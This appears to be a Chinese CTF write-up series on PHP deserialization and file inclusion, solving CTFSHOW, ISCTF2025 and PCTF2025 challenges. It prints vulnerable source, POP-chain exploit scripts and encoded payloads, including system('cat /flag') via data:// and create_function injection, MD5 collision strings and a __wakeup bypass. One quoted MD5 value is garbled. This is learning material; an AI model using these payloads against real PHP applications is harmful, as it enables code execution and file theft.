对于php的重新学习,基于反序列化方面(1)
1.原理:
序列化技术的出现主要是解决抽象数据存储问题,反序列化技术则是解决序列化数据抽象化的。
换句话来说, 一个类的对象, 像这种具有层级结构的数据,你没办法直接像文本那样存储,所以我们必须采取某种规则将其文本化(流化),反序列化的时候再复原它。(在学习的时候在一个网站上复制的,接下来我会以例题的形式一道一道阐述我的理解)
2.例题
CTFSHOW-2026元旦跨年欢乐赛:奇怪的2026
<?php
error_reporting(0);
highlight_file(__FILE__);
$happy = $_GET['happy'];
$new = $_GET['new'];
$year = $_GET['year'];
if($year==2026 && $year!==2026 && is_numeric($year)){
include $happy[$new[$year]];
}
解读一:
if($year==2026 && $year!==2026 && is_numeric($year))
这里感觉这个条件是不太对的(不清楚强比较),但是题目都这样说了肯定是有方法的,我尝试询问ai,ai是这样回复的
这个判断条件看似矛盾,实则利用了 PHP 的特性:
$year == 2026 (弱比较): PHP 在进行 == 比较时,会尝试转换类型。字符串 '2026' 会被转换为数字 2026,所以条件成立。
$year !== 2026 (强比较): 强比较要求值和类型都相等。我们在 URL 中传入的参数默认是 字符串 (String) 类型,而代码中的 2026 是 整型 (Integer)。因此,'2026' !== 2026 成立。
is_numeric($year): 检查变量是否为数字或数字字符串。'2026' 是数字字符串,条件成立。
解读二:
include $happy[$new[$year]];
这是一个嵌套的数组访问
先获取year的值,再获取数组$new[2026]的值,最后查找$happy['$new[2026]']
所以我们尝试include这个漏洞查看flag.php这个页面,
经过尝试发现直接读取flag.php没有看见任何回显,在ai提示下,
'php://filter/read=convert.base64-encode/resource=flag.php'
感觉好奇怪,在浏览器上查询后发现了这个文件包含漏洞(include)-学习笔记_php include 文件写入 漏洞-CSDN博客理解到这是常用方法,记忆后,再将payload用http_build_query进行编码
注:php中的 echo 命令只能输出字符串或数字。
<?php
$payload_data = [
'year' => '2026',
'new' => ['2026' => 'key' ],
'happy' => ['key' => 'php://filter/read=convert.base64-encode/resource=flag.php']
];
echo "?".http_build_query($payload_data);
?>
payload:
?year=2026&new%5B2026%5D=key&happy%5Bkey%5D=php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php
用hackbar使用get传参得到:
PD9waHAgJGZsYWc9J2N0ZnNob3d7MTc3MTlkYjctMjhlMy00NjMxLWEyMjQtMGZjMGViOTc2ZTA3fSc7Cg==
base64 解码得到:
<?php $flag='ctfshow{17719db7-28e3-4631-a224-0fc0eb976e07}';
ctfshow{17719db7-28e3-4631-a224-0fc0eb976e07}
CTFSHOWDSBCTF:签到·好玩的PHP
php链如下
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow {
private $d = '';
private $s = '';
private $b = '';
private $ctf = '';
public function __destruct() {
$this->d = (string)$this->d;
$this->s = (string)$this->s;
$this->b = (string)$this->b;
if (($this->d != $this->s) && ($this->d != $this->b) && ($this->s != $this->b)) {
$dsb = $this->d.$this->s.$this->b;
if ((strlen($dsb) <= 3) && (strlen($this->ctf) <= 3)) {
if (($dsb !== $this->ctf) && ($this->ctf !== $dsb)) {
if (md5($dsb) === md5($this->ctf)) {
echo file_get_contents("/flag.txt");
}
}
}
}
}
}
unserialize($_GET["dsbctf"]);
那么我们要绕过的是__destruct
if (($dsb !== $this->ctf) && ($this->ctf !== $dsb)) { // 强类型不相等
if (md5($dsb) === md5($this->ctf)) { // MD5 强类型相等
echo file_get_contents("/flag.txt");
}
}
利用点: PHP 的 md5() 函数在处理参数时,如果传入的是整数(Integer),它会将其转换为字符串再计算哈希。 而 PHP 的 !== 运算符在比较 字符串 和 整数 时,会认为它们不相等。
构造 Payload
我们需要满足以下条件:
$d, $s, $b必须互不相等。$d, $s, $b拼出来的字符串($dsb\)长度不超过 3。- $this->ctf 的长度也不超过 3。
- $dsb 是字符串类型,$this->ctf 是整数类型,且内容看起来一样。
设定值:
$d = "1"$s = "2"$b = "3"- 拼接后
$dsb = "123"(字符串) $ctf = 123(整数)
逻辑验证:
"123" !== 123-> True (类型不同)。md5("123") === md5(123)-> True (PHP 计算 md5(123) 时会按 “123” 计算,结果一致)。- 长度检查均满足。
那么exp
<?php
class ctfshow {
private $d;
private $s;
private $b;
private $ctf;
public function __construct(){
$this->d = "1";
$this->s = "2";
$this->b = "3";
$this->ctf = 123; // 注意这里是整数类型 int
}
}
$a = new ctfshow();
// 输出 URL 编码后的 Payload,因为 private 属性包含不可见字符 %00
echo urlencode(serialize($a));
?>
得到payload
O%3A7%3A%22ctfshow%22%3A4%3A%7Bs%3A10%3A%22%00ctfshow%00d%22%3Bs%3A1%3A%221%22%3Bs%3A10%3A%22%00ctfshow%00s%22%3Bs%3A1%3A%222%22%3Bs%3A10%3A%22%00ctfshow%00b%22%3Bs%3A1%3A%223%22%3Bs%3A12%3A%22%00ctfshow%00ctf%22%3Bi%3A123%3B%7D
构造?dsbctf=xxx(payload) 传参

ctfshow{f8a32a7d-44de-4e32-a53c-dccab2c0677c}
ISCTF2025:ezpop
这里给了一个php
<?php
error_reporting(0);
class begin {
public $var1;
public $var2;
function __construct($a)
{
$this->var1 = $a;
}
function __destruct() {
echo $this->var1;
}
public function __toString() {
$newFunc = $this->var2;
return $newFunc();
}
}
class starlord {
public $var4;
public $var5;
public $arg1;
public function __call($arg1, $arg2) {
$function = $this->var4;
return $function();
}
public function __get($arg1) {
$this->var5->ll2('b2');
}
}
class anna {
public $var6;
public $var7;
public function __toString() {
$long = @$this->var6->add();
return $long;
}
public function __set($arg1, $arg2) {
if ($this->var7->tt2) {
echo "yamada yamada";
}
}
}
class eenndd {
public $command;
public function __get($arg1) {
if (preg_match("/flag|system|tail|more|less|php|tac|cat|sort|shell|nl|sed|awk| /i", $this->command)){
echo "nonono";
}else {
eval($this->command);
}
}
}
class flaag {
public $var10;
public $var11="1145141919810";
public function __invoke() {
if (md5(md5($this->var11)) == 666) {
return $this->var10->hey;
}
}
}
if (isset($_POST['ISCTF'])) {
unserialize($_POST["ISCTF"]);
}else {
highlight_file(__FILE__);
}
Step 1: Code End -> begin::destruct().
Step 2: echo -> anna::toString().
Step 3: Call unknown method ‘add’ -> starlord::call().
Step 4: Run object as function -> flaag::invoke().
Step 5: Access unknown property ‘hey’ -> eenndd::get().
Step 6: eval($command) -> EXECUTE.
审计代码如下:
/flag|system|tail|more|less|php|tac|cat|sort|shell|nl|sed|awk| /i
构造命令:readfile(‘/flag’); 绕过正则:不能有 ‘flag’ 字样,不能有空格。 这里的字符串是 PHP 代码,eval 执行时会拼接 ‘/fl’.’ag’ 变成 ‘/flag’
这个需要一个准确md值,简单使用一个for循环来爆破
<?php
for($i=0; $i<1000000; $i++){
if(md5(md5($i)) == 666){
echo $i; break;
}
}
结果为213,带入代码框架。
<?php
class begin {
public $var1;
public $var2;
}
class starlord {
public $var4;
public $var5;
public $arg1;
}
class anna {
public $var6;
public $var7;
}
class eenndd {
public $command;
}
class flaag {
public $var10;
public $var11;
}
$collision_val = "213";
// 构造 POP 链
$e = new eenndd();
$e->command = "readfile('/fl'.'ag');";
$f = new flaag();
$f->var10 = $e; // 触发 eenndd::__get
$f->var11 = $collision_val; // 绕过 MD5 检查
$s = new starlord();
$s->var4 = $f; // 触发 flaag::__invoke
$a = new anna();
$a->var6 = $s; // 触发 starlord::__call
$b = new begin(null);
$b->var1 = $a; // 触发 anna::__toString
$payload = serialize($b);
echo "Payload (URL Encoded):\n";
echo urlencode($payload);
echo "\n";
?>
通过php运行得到payload
O%3A5%3A%22begin%22%3A2%3A%7Bs%3A4%3A%22var1%22%3BO%3A4%3A%22anna%22%3A2%3A%7Bs%3A4%3A%22var6%22%3BO%3A8%3A%22starlord%22%3A3%3A%7Bs%3A4%3A%22var4%22%3BO%3A5%3A%22flaag%22%3A2%3A%7Bs%3A5%3A%22var10%22%3BO%3A6%3A%22eenndd%22%3A1%3A%7Bs%3A7%3A%22command%22%3Bs%3A21%3A%22readfile%28%27%2Ffl%27.%27ag%27%29%3B%22%3B%7Ds%3A5%3A%22var11%22%3Bs%3A3%3A%22213%22%3B%7Ds%3A4%3A%22var5%22%3BN%3Bs%3A4%3A%22arg1%22%3BN%3B%7Ds%3A4%3A%22var7%22%3BN%3B%7Ds%3A4%3A%22var2%22%3BN%3B%7D
post传参ISCTF=xxxx(payload)
ISCTF{b8058e79-a383-47ab-9941-0d219fcb6bee}
ISCTF2025:Bypass
源码如下
<?php
class FLAG
{
private $a;
protected $b;
public function __construct($a, $b)
{
$this->a = $a;
$this->b = $b;
$this->check($a,$b);
eval($a.$b);
}
public function __destruct(){
$a = (string)$this->a;
$b = (string)$this->b;
if ($this->check($a,$b)){
$a("", $b);
}
else{
echo "Try again!";
}
}
private function check($a, $b) {
$blocked_a = ['eval', 'dl', 'ls', 'p', 'escape', 'er', 'str', 'cat', 'flag', 'file', 'ay', 'or', 'ftp', 'dict', '\.\.', 'h', 'w', 'exec', 's', 'open'];
$blocked_b = ['find', 'filter', 'c', 'pa', 'proc', 'dir', 'regexp', 'n', 'alter', 'load', 'grep', 'o', 'file', 't', 'w', 'insert', 'sort', 'h', 'sy', '\.\.', 'array', 'sh', 'touch', 'e', 'php', 'f'];
$pattern_a = '/' . implode('|', array_map('preg_quote', $blocked_a, ['/'])) . '/i';
$pattern_b = '/' . implode('|', array_map('preg_quote', $blocked_b, ['/'])) . '/i';
if (preg_match($pattern_a, $a) || preg_match($pattern_b, $b)) {
return false;
}
return true;
}
}
if (isset($_GET['exp'])) {
$p = unserialize($_GET['exp']);
var_dump($p);
}else{
highlight_file("index.php");
}
代码最后通过 unserialize($_GET['exp']) 接收参数,这说明是一个反序列化漏洞。
利用链 (POP Chain):
FLAG类中有一个__destruct()魔术方法。当对象被销毁时,代码执行逻辑:
PHP
if ($this->check($a, $b)) { $a("", $b); // 关键点:将执行 $a("", $b) }我们的目标是控制
$a和$b,使得$a成为一个危险函数,利用$b执行系统命令。
防御机制 (check 函数):
- $blocked_a (针对函数名):过滤了
system,exec,passthru(包含p,s),shell_exec等常用命令执行函数。 - $blocked_b (针对参数):过滤了极其严格的字符,包括
c,t,f,l,a,g,php,e等。这意味着我们不能直接写cat /flag或base64等字符串。
- 解题思路
第一步:绕过 $a 的函数名黑名单
我们需要一个函数,它满足两个条件:
- 不在黑名单中:
$blocked_a屏蔽了大量的系统命令函数。 - 参数结构匹配:该函数必须能接受两个参数,且第一个参数可以是空字符串
""(由__destruct强制传入)。
突破口:create_function
create_function(string $args, string $code)用于创建一个匿名函数。- 它的函数名字符(c, r, e, a, t, f, u, n, i, o)均未出现在
$blocked_a中。 - 它完美接受两个参数。调用
$a("", $b)相当于执行create_function("", $b)。
第二步:绕过 $b 的内容黑名单
$blocked_b 几乎过滤了所有能组成 cat /flag 的字母。
突破口:八进制转义 (Octal Escape)
- 在 PHP 字符串中,我们可以使用八进制 ASCII 码来表示字符。例如
s的 ASCII 是 115,八进制是163,写成\163。 - PHP 解析器在处理字符串时会将
\163还原为s。 $blocked_b没有过滤数字 (0-9) 和反斜杠 ()。- 因此,我们可以将 Payload 全部转换为八进制格式。
第三步:代码注入 (Code Injection)
这是本题最容易被忽略的一点。create_function 的作用是定义一个函数,而不是执行它。 如果我们仅传入 Payload,代码只会生成一个包含恶意代码的匿名函数,但永远不会运行。
利用原理: create_function('$args', '$code') 的内部实现大致等同于:
PHP
eval("function lambda_1($args) { $code }");
我们需要利用 $code 参数来“逃逸”出这个函数定义。
Payload 结构:
PHP
} 恶意代码; /*
代入后变成:
PHP
function lambda_1() { } 恶意代码; /* }
这样,PHP 解析时会先定义一个空函数,紧接着立即执行我们的恶意代码,最后的 /* 将原本自动生成的 } 注释掉,防止语法错误。
- Payload 构造
我们需要执行的原始命令是:
PHP
system("cat /flag");
由于 system 也在黑名单(不能明文出现),且为了利用八进制绕过,我们使用变量函数调用的方式:
PHP
$z="system";
$z("cat /flag");
八进制编码对照表:
system->\163\171\163\164\145\155cat /flag->\143\141\164\40\57\146\154\141\147
最终注入的 $b 字符串:
PHP
} $z="\163\171\163\164\145\155"; $z("\143\141\164\40\57\146\154\141\147"); /*
- EXP 生成脚本
由于 $a 是 private 属性,$b 是 protected 属性,直接手写序列化字符串容易丢失不可见字符 %00,建议使用脚本生成。
PHP
<?php
class FLAG
{
private $a;
protected $b;
public function __construct()
{
$this->a = "create_function";
$cmd = '$z="\163\171\163\164\145\155";$z("\143\141\164\40\57\146\154\141\147");';
$this->b = '}' . $cmd . '/*';
}
}
$obj = new FLAG();
$serialized = serialize($obj);
echo "Payload (URL Encoded):\n";
echo urlencode($serialized);
?>
运行得到payload
O%3A4%3A%22FLAG%22%3A2%3A%7Bs%3A7%3A%22%00FLAG%00a%22%3Bs%3A15%3A%22create_function%22%3Bs%3A4%3A%22%00%2A%00b%22%3Bs%3A74%3A%22%7D%24z%3D%22%5C163%5C171%5C163%5C164%5C145%5C155%22%3B%24z%28%22%5C143%5C141%5C164%5C40%5C57%5C146%5C154%5C141%5C147%22%29%3B%2F%2A%22%3B%7D

然后这样就可以了
ISCTF{061d3ef6-dc87-4dea-ab89-24402336c198}
对于php的重新学习,基于反序列化方面(2)
1.前言
近期在学习helloctf上的细碎知识点,不得不说探姬姐姐这个做的真的很好,下个章节呢,我就打算按着fulian说的开始去学习SSTI了,嘿嘿,希望我这篇文章能给你我带来不同的感想,废话不多说了,现在开始实战(我会从几个比赛捞几道题来讲)(为什么感觉没做几道题4个小时就过去了呢,虽然我做了几道密码/小声bb)
2.例题
PCTF2025:EZPHP

Please pass in "number" value
the number value between 111111 and 999999:
这里我郁闷了挺久,没想到最后是爆破解决的
爆破后应该是number=114514
get传参我们进入下一步步骤
<?php
error_reporting(0);
echo "Please pass in \"number\" value <br>";
echo "the number value between 111111 and 999999:<br>";
if($_GET["number"]==114514) {
highlight_file(__FILE__);
echo "OK!Please find the flag!<br>";
if($_GET['action']=="read"){
$filename=$_POST["filename"];
file($filename);
}elseif($_GET["action"]== "include"){
$filename=$_POST["filename"];
include($filename);
}
}
?>
action=read:使用 file() 函数。虽然读取了文件,但代码没有 echo 或 var_dump 输出结果,因此不可取。
action=include:使用 include() 函数。这是典型的文件包含漏洞 (LFI)。如果可以控制 $filename,配合 PHP 伪协议,可以实现源码读取或远程代码执行
get部分传参就定下来了:
http://challenge.imxbt.cn:30917/?number=114514&action=include
现在我们尝试post部分
Payload 1: 查看当前目录
HTTP
filename=data://text/plain,<?php system("ls");?>
- 结果:返回
index.php。 - 分析:当前目录下没有 flag 文件。
Payload 2: 查看根目录 通常 CTF 的 flag 如果不在当前目录,就在根目录 / 下。
HTTP
filename=data://text/plain,<?php system("ls /");?>
结果:
Plaintext
BH1R2IOIbW5eO5Gw bin dev etc home ... (其他系统目录)发现一个文件名极长的异常文件
BH1R2IOIbW5eO5Gw,这就是被重命名的 flag 文件。
Payload 3: 读取文件内容
HTTP
filename=data://text/plain,<?php system("cat /BH1R2IOIbW5eO5Gw");?>
PCTF{acf79230-a9f2-492d-aabe-7427351db10a}
PCTF2025:php_with_md5
源码如下
<?php
error_reporting(0);
highlight_file(__FILE__);
echo "Welcome to the PHP world!";
echo "<br>";
echo "Can you get the flag in my php file?";
if(isset($_GET['begin'])=='admin'){
$begin=$_GET['begin'];
if(!preg_match('/admin/i',$begin)){
echo "Excellent!";
if($_POST['password']==md5($_POST['password'])){
echo "Wooow!,you are so clever!";
if($_GET['a']!=$_GET['b'] && md5($_GET['a'])==md5($_GET['b'])){
echo "Continue!";
if($_GET['c']!=$_GET['d'] && md5($_GET['c'])===md5($_GET['d'])) {
echo "Congratulations! You have completely learned the MD5 skills!";
@eval($_POST['cmd']);
}
}else{ die("Nope,try again!");}
}else{ die("Haha,try again!");}
}else{ die("NoNoNO! You can't do that!");}
}else{ die("Oooooooops,You are not admin!");}
?>
对于Get传参部分
- begin
if(isset($_GET['begin'])=='admin'){
$begin=$_GET['begin'];
if(!preg_match('/admin/i',$begin)){
echo "Excellent!";
isset($_GET['begin'])=='admin':这是一个具有迷惑性的写法。isset() 返回的是布尔值 true 或 false。在 PHP 中,非空字符串 'admin' 转换为布尔值也是 true。所以,只要传入了 begin 参数,true == true 就成立。
!preg_match('/admin/i',$begin):这就要求 $begin 的值里面不能包含 “admin” (不区分大小写)。
- ab
if($_GET['a']!=$_GET['b'] && md5($_GET['a'])==md5($_GET['b'])){
echo "Continue!";
这里是一个弱比较,我们需要两个不同的字符串,但是这两个字符串的md5值必须一样,我学到这一块的时候,在指导上看见一个简单的方法,要让md5值相等,我们可以让他们md5值开头都为0e(即意义为0),
我找ai生成了几个,它推荐我配一个fastcoll,暂时先不提这个
字符串 A: $a = "QNKCDZO"
- MD5 值:
0e830400451993494058024219903391
字符串 B: $b = "240610708"
MD5 值:
0e462097431906509019562988736854cd
if($_GET['c']!=$_GET['d'] && md5($_GET['c'])===md5($_GET['d']))
使用了 ===,必须找到两个内容不同但MD5 哈希完全一致的二进制字符串。不能用 0e 欺骗,必须是真碰撞。找ai生成一个
Payload C: %4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
Payload D: %4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
综上所诉:
1. GET 参数构造(URL):
Plaintext
http://challenge.imxbt.cn:30946/?begin=abc&a=QNKCDZO&b=240610708&c=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&d=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
2. POST 参数构造: 利用 system() 函数执行命令读取 flag。
Plaintext
password=0e215962017&cmd=system('cat /flag');

PCTF2025:unserialize
<?php
highlight_file(__FILE__);
//flag.php
class Logger {
public $log_file = 'app.log';
public $message;
public function log() {
file_put_contents($this->log_file, $this->message, FILE_APPEND);
}
}
class UserProfile {
public $username;
public $data = [];
public function __toString() { return $this->username; }
}
class TemplateEngine {
public $template_name;
public function render() { return "Rendering " . $this->template_name; }
}
class ReadFile {
public $filename;
public function __wakeup() {
if (strpos($this->filename, 'flag') !== false) {
$this->filename = 'index.php';
}
}
public function getFileContent() {
echo file_get_contents($this->filename);
}
}
class FileHandler {
public $source;
public function __invoke() {
return $this->source->getFileContent();
}
}
class TaskRunner {
private $task;
public function __construct($task) { $this->task = $task; }
public function run() {
call_user_func($this->task);
}
}
class Middleware {
public $next;
public function __destruct() {
if (isset($this->next)) {
$this->next->run();
}
}
}
if (isset($_GET['data'])) {
$serialized_data = $_GET['data'];
try {
unserialize($serialized_data);
} catch (Exception $e) {
echo "Error: " . $e->getMessage();
}
}
?>
核心代码审计:
1
Middleware::__destruct()- 对象销毁时触发
$this->next->run()。
- 对象销毁时触发
2
TaskRunner::run(): 执行call_user_func($this->task)。这允许我们把一个对象当作函数来调用。FileHandler::__invoke(): 当对象被当作函数调用时触发,执行$this->source->getFileContent()。
3
ReadFile::getFileContent()- 执行
file_get_contents($this->filename)读取文件。
- 执行
4
ReadFile::__wakeup()- 反序列化时,如果
$filename中包含 “flag” 字符串,会将其强制重置为index.php。
- 反序列化时,如果
思路:
我们要从入口走到终点,构造如下的调用链:
Middleware->TaskRunnerTaskRunner->FileHandlerFileHandler->ReadFile
利用 CVE-2016-7124 绕过防御: 题目明确过滤了 “flag”,且环境看起来像旧版本 PHP。我们可以利用 CVE-2016-7124:
当序列化字符串中,表示对象属性个数的值 大于 真实的属性个数 时,
__wakeup()不会被执行。
成功执行了利用链,但页面报了 Warning: Warning: file_get_contents(/flag): failed to open stream: No such file or directory
尝试过程:
- 最初尝试
flag.php,因 Payload 格式错误失败。 - 改为尝试根目录
/flag。 - 得到了
failed to open stream报错。这个报错非常有价值,它证明了我们的 RCE(远程代码执行)已经成功了,只是文件路径不对。
- 最初尝试
最终确认: 结合代码注释
//flag.php,确定文件就在当前目录下。
当我们将路径改回 flag.php 并发送正确的 Payload 后,页面看起来是一片空白(或者只有原代码)。
- 原因:
flag.php内部也是 PHP 代码(如<?php $flag = ... ?>)。浏览器会把<?php当作 HTML 标签隐藏起来。 - 解决: 必须查看网页源代码 。
payload:
<?php
class ReadFile {
public $filename = 'flag.php'; // 目标文件
}
class FileHandler {
public $source;
}
class TaskRunner {
private $task;
public function __construct($task) {
$this->task = $task;
}
}
class Middleware {
public $next;
}
$readFile = new ReadFile();
$fileHandler = new FileHandler();
$fileHandler->source = $readFile;
$taskRunner = new TaskRunner($fileHandler);
$middleware = new Middleware();
$middleware->next = $taskRunner;
$serialized = serialize($middleware);
$payload = str_replace('O:8:"ReadFile":1:', 'O:8:"ReadFile":2:', $serialized);
echo urlencode($payload);
?>
最终 Payload:
Plaintext
O%3A10%3A%22Middleware%22%3A1%3A%7Bs%3A4%3A%22next%22%3BO%3A10%3A%22TaskRunner%22%3A1%3A%7Bs%3A16%3A%22%00TaskRunner%00task%22%3BO%3A11%3A%22FileHandler%22%3A1%3A%7Bs%3A6%3A%22source%22%3BO%3A8%3A%22ReadFile%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7D%7D
注:
CVE-2016-7124:通过修改属性数量制造反序列化错误,从而绕过 __wakeup 中的过滤检查。
flag:PCTF{21b6dc74-9fe1-4671-91b3-7c94891f2de3}